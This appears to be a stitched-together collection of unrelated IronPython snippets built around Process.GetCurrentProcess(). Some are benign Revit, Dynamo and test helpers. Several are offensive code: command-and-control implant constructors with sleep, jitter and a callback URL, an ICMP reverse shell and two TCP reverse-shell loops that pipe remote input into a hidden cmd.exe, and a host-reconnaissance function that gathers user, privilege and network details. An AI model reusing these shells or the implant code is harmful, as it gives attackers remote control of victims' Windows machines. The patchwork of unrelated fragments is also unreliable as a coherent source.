def __init__(self): self.__process = Process.GetCurrentProcess() self.__jobs = [] self.GUID = GUID self.SLEEP = 5000 #self.JITTER = 5000 self.TYPE = 'ipy' self.USERNAME = Environment.UserName self.DOMAIN = Environment.UserDomainName self.DOTNET_VERSION = str(Environment.Version) self.HIGH_INTEGRITY = self.is_high_integrity() self.IP = self.get_network_addresses() self.OS = "{} ({})".format(ComputerInfo().OSFullName, Environment.OSVersion.Version) self.OS_ARCH = "x64" if IntPtr.Size == 8 else "x86" self.OS_RELEASE_ID = Registry.GetValue( "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "ReleaseId", "") self.PROCESS = self.__process.Id self.PROCESS_NAME = self.__process.ProcessName self.HOSTNAME = Environment.MachineName self.JOBS = len(self.__jobs) self.URL = str(URL) self.COMMS = Comms(self) self.main()
def GetEnvironmentVariables(): environmentVariables = None # NOTE: Have encountered (at least once) a NullReferenceException upon accessing the EnvironmentVariables property! try: environmentVariables = Process.GetCurrentProcess( ).StartInfo.EnvironmentVariables except NullReferenceException, e: environmentVariables = None
def StartHostRevitProcess(revitVersion, batchRvtScriptsFolderPath, scriptFilePath, scriptDataFilePath, progressNumber, scriptOutputPipeHandleString, testModeFolderPath): batchRvtProcessUniqueId = GetUniqueIdForProcess( Process.GetCurrentProcess()) def initEnvironmentVariables(environmentVariables): script_environment.InitEnvironmentVariables( environmentVariables, batchRvtScriptsFolderPath, scriptFilePath, scriptDataFilePath, progressNumber, scriptOutputPipeHandleString, batchRvtProcessUniqueId, testModeFolderPath) return return revit_process.StartRevitProcess(revitVersion, initEnvironmentVariables)
def __init__(self): p = Process.GetCurrentProcess() self.SLEEP = 5000 self.JITTER = 5000 self.FIRST_CHECKIN = True self.GUID = Guid().NewGuid().ToString() self.URL = str( Uri(Uri(URL), self.GUID )) # This needs to be a tuple of callback domains (eventually) self.USERNAME = Environment.UserName self.DOMAIN = Environment.UserDomainName self.HIGH_INTEGRITY = self.is_high_integrity() #self.IP = ManagementObject("Win32_NetworkAdapterConfiguration") #self.OS = ManagementObject("Win32_OperatingSystem") self.PROCESS = p.Id self.PROCESS_NAME = p.ProcessName self.HOSTNAME = Environment.MachineName self.JOBS = []
def proc(self): return Process.GetCurrentProcess()
def proc_screen(self): clr.AddReferenceByPartialName('System.Windows.Forms') # noinspection PyUnresolvedReferences from System.Windows.Forms import Screen return Screen.FromHandle(Process.GetCurrentProcess().MainWindowHandle)
def proc_path(self): return Process.GetCurrentProcess().MainModule.FileName
pass #Setup/start process p = Process() p.StartInfo.FileName = "cmd.exe" p.StartInfo.CreateNoWindow = True p.StartInfo.UseShellExecute = False p.StartInfo.RedirectStandardOutput = True p.StartInfo.RedirectStandardInput = True p.StartInfo.RedirectStandardError = True p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler) p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler) p.Start() pids = Encoding.ASCII.GetBytes("SPID: %s\nCPID: %s\n" % (Process.GetCurrentProcess().Id, p.Id)) pinger.Send(IP, 10, pids) p.StandardInput.WriteLine(" ") p.BeginOutputReadLine() p.BeginErrorReadLine() #Recieve loop while (not p.HasExited): try: # You can change the value of Send function to increase or decrease callbacks to recieve commands reply = pingee.Send(IP, 50000, Encoding.ASCII.GetBytes("OK")) inp = Encoding.ASCII.GetString(reply.Buffer) if inp: print inp p.StandardInput.WriteLine(inp)
import clr from System.Reflection import Assembly from System.Diagnostics import Process dynamoCore = Assembly.Load("DynamoCore") version_long = dynamoCore.GetName().Version.ToString() version_short = version_long[:5] proc = Process.GetCurrentProcess().ProcessName OUT = (version_short, version_long, proc)
import clr SYSTEM_REFERENCES = [ "mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", "System.Security, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", "System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Xml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", ] CUSTOM_REFERENCES = [ "Syncfusion.Xlsio.Base", ] for reference in SYSTEM_REFERENCES: clr.AddReferenceByName(reference) from System.Diagnostics import Process from System.IO import Path from System.Reflection import Assembly module = Process.GetCurrentProcess().MainModule binDir = Path.GetDirectoryName(module.FileName) for reference in CUSTOM_REFERENCES: assemblyPath = "%s\\%s.dll" % (binDir, reference) assembly = Assembly.LoadFile(assemblyPath) clr.AddReference(assembly)
wtr.AutoFlush = True strInput = StringBuilder() #Setup/start process p = Process() p.StartInfo.FileName = "cmd.exe" p.StartInfo.CreateNoWindow = True p.StartInfo.UseShellExecute = False p.StartInfo.RedirectStandardOutput = True p.StartInfo.RedirectStandardInput = True p.StartInfo.RedirectStandardError = True p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler) p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler) p.Start() wtr.WriteLine("SPID: %s\nCPID: %s" % (Process.GetCurrentProcess().Id, p.Id)) p.BeginErrorReadLine() p.BeginOutputReadLine() while (not p.HasExited): try: strInput.Append.Overloads[str](rdr.ReadLine()) if strInput.ToString().ToLower() == "exit": p.Kill() Process.GetCurrentProcess().Kill() else: p.StandardInput.WriteLine(strInput) strInput.Remove(0, strInput.Length) except: break
def get_sysinfo(nonce='00000000'): # NOTE: requires global variable "server" to be set # nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version | architecture __FAILED_FUNCTION = '[FAILED QUERY]' try: if platform.python_implementation() == 'IronPython': username = Environment.UserName else: username = pwd.getpwuid(os.getuid())[0].strip("\\") except Exception as e: username = __FAILED_FUNCTION try: if platform.python_implementation() == 'IronPython': uid = WindowsIdentity.GetCurrent().User.ToByteArray() else: uid = os.popen('id -u').read().strip() except Exception as e: uid = __FAILED_FUNCTION try: if platform.python_implementation() == 'IronPython': highIntegrity = WindowsPrincipal( WindowsIdentity.GetCurrent()).IsInRole( WindowsBuiltInRole.Administrator) else: highIntegrity = "True" if (uid == "0") else False except Exception as e: highIntegrity = __FAILED_FUNCTION try: if platform.python_implementation() != 'IronPython': osDetails = os.uname() except Exception as e: osDetails = __FAILED_FUNCTION try: if platform.python_implementation() == 'IronPython': hostname = Environment.MachineName else: hostname = osDetails[1] except Exception as e: hostname = __FAILED_FUNCTION try: internalIP = socket.gethostbyname(socket.gethostname()) except Exception as e: try: internalIP = os.popen( "ifconfig|grep inet|grep inet6 -v|grep -v 127.0.0.1|cut -d' ' -f2" ).read() except Exception as e1: internalIP = __FAILED_FUNCTION try: if platform.python_implementation() == 'IronPython': osDetails = Environment.OSVersion.ToByteArray() else: osDetails = ",".join(osDetails) except Exception as e: osDetails = __FAILED_FUNCTION try: if platform.python_implementation() == 'IronPython': processID = Process.GetCurrentProcess().Id else: processID = os.getpid() except Exception as e: processID = __FAILED_FUNCTION try: temp = sys.version_info pyVersion = "%s.%s" % (temp[0], temp[1]) except Exception as e: pyVersion = __FAILED_FUNCTION try: architecture = platform.machine() except Exception as e: architecture = __FAILED_FUNCTION if platform.python_implementation() == 'IronPython': language = 'ironpython' processName = Process.GetCurrentProcess() else: language = 'python' cmd = 'ps %s' % (os.getpid()) ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = ps.communicate() parts = out.split(b"\n") if len(parts) > 2: processName = b" ".join(parts[1].split()[4:]).decode('UTF-8') else: processName = 'python' return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % ( nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion, architecture)
wtr = StreamWriter(stream) wtr.AutoFlush = True strInput = StringBuilder() #Setup/start process p = Process() p.StartInfo.FileName = "cmd.exe" p.StartInfo.CreateNoWindow = True p.StartInfo.UseShellExecute = False p.StartInfo.RedirectStandardOutput = True p.StartInfo.RedirectStandardInput = True p.StartInfo.RedirectStandardError = True p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler) p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler) p.Start() wtr.WriteLine("SPID: %s\nCPID: %s" % (Process.GetCurrentProcess().Id, p.Id)) p.BeginErrorReadLine() p.BeginOutputReadLine() while (not p.HasExited): try: strInput.Append.Overloads[str](rdr.ReadLine()) if strInput.ToString().ToLower() == "exit": p.Kill() Process.GetCurrentProcess().Kill() else: p.StandardInput.WriteLine(strInput) strInput.Remove(0, strInput.Length) except: p.Kill()
def GetCurrentProcess(): return Process.GetCurrentProcess()
childdataset.Summary = newsummary if childdataset.Summary != newsummary: print 'Fail: Dataset summary was not updated' else: print 'Pass: Dataset summary updated successfully' # Activate dataset on local machine processid = 0 try: childdataset.OnActivated += switchonactivate childdataset.Activate(DistributionLocations.Local, SelectFrom) # Wait for the activation event to fire activateevent.WaitOne(2 * 60 * 1000) parentprocessid = Process.GetCurrentProcess().Id mos = ManagementObjectSearcher( "root\\CIMV2", "SELECT * FROM Win32_Process WHERE ParentProcessId = " + parentprocessid.ToString()) for result in mos.Get(): processid = result.GetPropertyValue("ProcessId") if processid != 0: print 'Pass: Dataset was activated successfully' else: print 'Fail: Dataset was not activated' sys.exit(1) except System.Exception, e: print 'Fail: Dataset activation threw exception' print e.ToString() sys.exit(1)
def proc_id(self): return Process.GetCurrentProcess().Id
def proc_name(self): return Process.GetCurrentProcess().ProcessName
def GetMainWindowHandle(): return WindowHandleWrapper( Process.GetCurrentProcess().MainWindowHandle)
for arg in sys.argv[1:]: args += arg + " " processInfo.Arguments += " " + args def OnOutputDataReceived(self, sender, eventArgs): super(AutoAbortableConsoleHost, self).OnOutputDataReceived(sender, eventArgs) if eventArgs.Data == None: return if "ABORT ME!!!" in eventArgs.Data: self.AbortCommand() def OnRemoteRuntimeExited(self, sender, eventArgs): super(AutoAbortableConsoleHost, self).OnRemoteRuntimeExited(sender, eventArgs) print "Remote runtime terminated with exit code : %d" % self.RemoteRuntimeProcess.ExitCode print "Press Enter to nudge the old thread out of Console.Readline..." class TestConsoleRestartManager(ConsoleRestartManager): def CreateRemoteConsoleHost(self): return AutoAbortableConsoleHost() if __name__ == "__main__": print "TestConsoleRestartManager procId is %d" % Process.GetCurrentProcess( ).Id console = TestConsoleRestartManager(exitOnNormalExit=True) console.Start() console.ConsoleThread.Join()
import clr clr.AddReference("System.Management") from System.Management import ManagementObject, ManagementObjectSearcher from System.Diagnostics import Process sysinfo = ManagementObjectSearcher( "Select Capacity from Win32_PhysicalMemory").Get() installedMem = 0 for sysdata in sysinfo: installedMem += sysdata.Item["Capacity"] sysinfo = ManagementObjectSearcher( "Select FreePhysicalMemory from Win32_OperatingSystem").Get() for sysdata in sysinfo: freeMem = sysdata.Item["FreePhysicalMemory"] procMem = Process.GetCurrentProcess().WorkingSet64 OUT = (float(installedMem) / 1073741824, float(freeMem) / 1048576, float(procMem) / 1073741824)